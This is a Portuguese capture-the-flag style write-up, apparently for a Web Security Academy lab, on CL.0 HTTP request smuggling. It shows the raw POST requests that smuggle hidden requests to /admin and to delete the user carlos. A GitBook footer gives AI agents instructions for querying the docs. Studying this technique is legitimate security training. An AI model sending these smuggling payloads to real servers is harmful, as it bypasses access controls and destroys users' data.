> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/request-smuggling/cl-0-request-smuggling.md).

# Request Smuggling CL.0

### 0. Smuggling de requisições CL

#### **Resumo do laboratório**

Neste cenário, uma **CL.0** vulnerabilidade é explorada, na qual o servidor de back-end \*\*ignora o cabeçalho Content-Length\*\* em alguns caminhos. Essa inconsistência permite injetar uma segunda requisição no corpo de uma requisição POST aparentemente normal.

#### **Identificação do ponto vulnerável**

Após alguns testes, descobrimos que a URL:

```
/resources/images/blog.svg
```

é tratada de forma diferente pelo back-end:/ mesmo que Content-Length esteja definido como zero, o servidor recebe **todo o conteúdo fornecido**, criando uma janela perfeita para smuggling baseado em CL.0.

#### **Injeção de uma requisição oculta**

Uma requisição POST mínima é enviada primeiro para confirmar o comportamento:

```http
POST /resources/images/blog.svg HTTP/1.1
Host: 0a4f004a03a25bdd80191c85004500ba.web-security-academy.net
Content-Length: 0
```

Em seguida, aproveitamos o fato de que o back-end lê, apesar de tudo, o conteúdo para **smugglar uma segunda requisição**, com o objetivo de acessar o painel de administração:

```http
POST /resources/images/blog.svg HTTP/1.1
Host: 0a4f004a03a25bdd80191c85004500ba.web-security-academy.net
Content-Length: 26


GET /admin HTTP/1.1
Teste: A
```

O back-end interpreta a parte injetada como uma requisição independente e nos permite contornar as restrições do front-end.

<figure><img src="/files/fa063a9937efd14ca4a47deea3bb4ae294d93dca" alt=""><figcaption></figcaption></figure>

#### **Exclusão do usuário Carlos**

Depois que o acesso ao painel de administração é confirmado, uma requisição semelhante é injetada para acionar a ação:

```http
/admin/delete?username=carlos
```

Isso resulta em:

```http
POST /resources/images/blog.svg HTTP/1.1
Host: 0a4f004a03a25bdd80191c85004500ba.web-security-academy.net
Content-Length: 26


GET /admin/delete?username=carlosHTTP/1.1
Teste: A
```

<figure><img src="/files/ed21b486cbe9877ec8189782c6405404d157ff35" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/request-smuggling/cl-0-request-smuggling.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
